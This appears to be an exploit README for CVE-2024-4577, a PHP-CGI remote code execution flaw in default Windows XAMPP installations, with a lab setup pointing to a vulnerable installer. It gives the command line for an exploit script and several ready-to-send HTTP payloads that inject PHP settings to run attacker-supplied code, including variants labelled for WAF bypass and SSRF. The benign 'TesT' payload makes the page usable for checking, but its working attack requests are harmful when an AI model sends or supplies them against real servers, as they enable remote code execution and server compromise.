
[漏洞复现] 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。
cgi.force_redirect + REDIRECT-STATUS.allow_url_include, auto_prepend_file, or auto_append_file. Can include arbitrary files and PHP files.allow_url_includeauto_prepend_fileauto_append_file| Information | Content |
|---|---|
| Vulnerability Name | PHP RCE |
| Vulnerability ID | CVE-2024-4577 |
| Risk Level | High |
| Vulnerability Type | RCE |
| Exploit Difficulty | Low |
Can be used for WAF bypass scenarios + default scenarios:
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
Example:
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
Can be used for SSRF scenarios + default scenarios:
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
Can be used for default scenarios:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
Can be used for default scenarios:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
XAMPP Windows 8.2.12
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
Or manually choose an affected version here: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
No modifications needed, keep the default configuration
Test using the above EXP
Check whether the string "TesT" is returned or the content of the server's system.ini file.